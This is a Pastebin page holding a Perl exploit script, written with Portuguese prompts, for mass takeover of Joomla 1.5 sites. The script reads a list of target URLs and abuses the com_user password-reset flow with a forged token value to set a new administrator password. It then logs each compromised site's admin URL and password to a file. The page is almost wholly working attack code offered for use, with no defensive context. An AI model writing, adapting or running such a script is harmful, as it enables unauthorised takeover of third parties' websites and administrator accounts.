Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #!/usr/bin/perl
- # by aceeeeeeeer (www.info-hack3r.blogspot.com || www.twitter.com/aceeeeeeeer)
- use LWP::UserAgent;
- use HTTP::Request::Common;
- use IO::Socket::INET;
- if ($^O =~ /MSWin32/) {system("cls");
- }else { system("clear");}
- print "\n\t+---------------------------------------------------+\n";
- print "\t| Mass Joomla 1.5 Remote Admin Change Password |\n";
- print "\t| by aceeeeeeeer |\n";
- print "\t| |\n";
- print "\t| perl exploit.pl <lista> <nova senha> |\n";
- print "\t+---------------------------------------------------+\n\n";
- $agnt = LWP::UserAgent->new();
- $agnt->agent('BlackBerry8703e/4.1.0 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/105 Novarra-Vision/8.0');
- open(a,"<$ARGV[0]") or die "$!";
- while(<a>){
- chomp($_);
- $trgta = $_;
- $trgtprint = $_;
- $novasenha = $ARGV[1];
- if($trgta !~ /http:\/\//)
- {
- $trgta = "http://$trgta";
- }
- $exho = $trgta . "/index.php?option=com_user&view=reset&layout=confirm" ;
- $cdskt = "token=%27&d851e0ec18898263d9e5ae9de61dd519=1";
- sleep (1);
- $length = length $cdskt;
- $cdskt = "$cdskt\r\n\r\n";
- sleep (1);
- $req = $agnt->request(HTTP::Request->new(GET=>$exho));
- if ($req->is_success)
- {
- print "[$trgtprint] Explorando...\n";
- sleep 0.5;
- $skt1 = IO::Socket::INET->new(PeerAddr => "$trgtprint", PeerPort => 'http(80)', Proto => 'tcp');
- print $skt1 "POST /index.php?option=com_user&task=confirmreset HTTP/1.1\r\n";
- print $skt1 "Host:$trgta\r\n";
- print $skt1 "User-Agent:BlackBerry8300/4.2.2 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/107 UP.Link/6.2.3.15.0\r\n";
- print $skt1 "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n";
- print $skt1 "Accept-Language: en-US,en;q=0.5\r\n";
- print $skt1 "Accept-Encoding: gzip, deflate\r\n";
- print $skt1 "Referer: $exho\r\n";
- print $skt1 "Cookie: __utma=194891897.1942900790.1359225585.1359234394.1359278693.3; __utmz=194891897.1359225585.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); 9449e28969660ef964b805af19d964a8=820cd28c8b1b5326299f67c549acee86; __utmb=194891897.1.10.1359278693; __utmc=194891897\r\n";
- print $skt1 "Connection: keep-alive\r\n";
- print $skt1 "Content-Type: application/x-www-form-urlencoded\r\n";
- print $skt1 "Content-Length:$length\r\n";
- print $skt1 $cdskt ;
- close($skt1);
- $cdskt1 = "password1=$novasenha&password2=$novasenha&d851e0ec18898263d9e5ae9de61dd519=1";
- $length1 = length $cdskt1;
- $cdskt1 = "$cdskt1\r\n\r\n";
- $exho = $trgta . "/index.php?option=com_user&view=reset&layout=complete";
- print "[$trgtprint] Definindo '$novasenha' como nova senha...\n";
- sleep 1;
- $skt12 = IO::Socket::INET->new(PeerAddr => "$trgtprint", PeerPort => 'http(80)' , Proto => 'tcp');
- print $skt12 "POST /index.php?option=com_user&task=completereset HTTP/1.1\r\n";
- print $skt12 "Host:$trgta\r\n";
- print $skt12 "User-Agent:BlackBerry8300/4.2.2 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/107 UP.Link/6.2.3.15.0\r\n";
- print $skt12 "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n";
- print $skt12 "Accept-Language: en-US,en;q=0.5\r\n";
- print $skt12 "Accept-Encoding: gzip, deflate\r\n";
- print $skt12 "Referer:$exho\r\n";
- print $skt12 "Cookie: __utma=194891897.1942900790.1359225585.1359234394.1359278693.3; __utmz=194891897.1359225585.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); 9449e28969660ef964b805af19d964a8=820cd28c8b1b5326299f67c549acee86; __utmb=194891897.2.10.1359278693; __utmc=194891897\r\n";
- print $skt12 "Connection: keep-alive\r\n";
- print $skt12 "Content-Type: application/x-www-form-urlencoded\r\n";
- print $skt12 "Content-Length:$length1\r\n";
- print $skt12 $cdskt1;
- close($skt12);
- sleep 2;
- print "[$trgtprint] Sucesso!\n\n";
- open(SALVA,">>sh.txt");
- print SALVA "$trgta/administrator/index.php : $novasenha\n";
- close(SALVA);
- }
- else
- {
- print "[$trgtprint] Falha :(\n\n";
- }
- }
- print "\n\n\tTWITTER: www.twitter.com/aceeeeeeeer\n\tBLOG: www.info-hack3r.blogspot.com";
Advertisement
Add Comment
Please, Sign In to add comment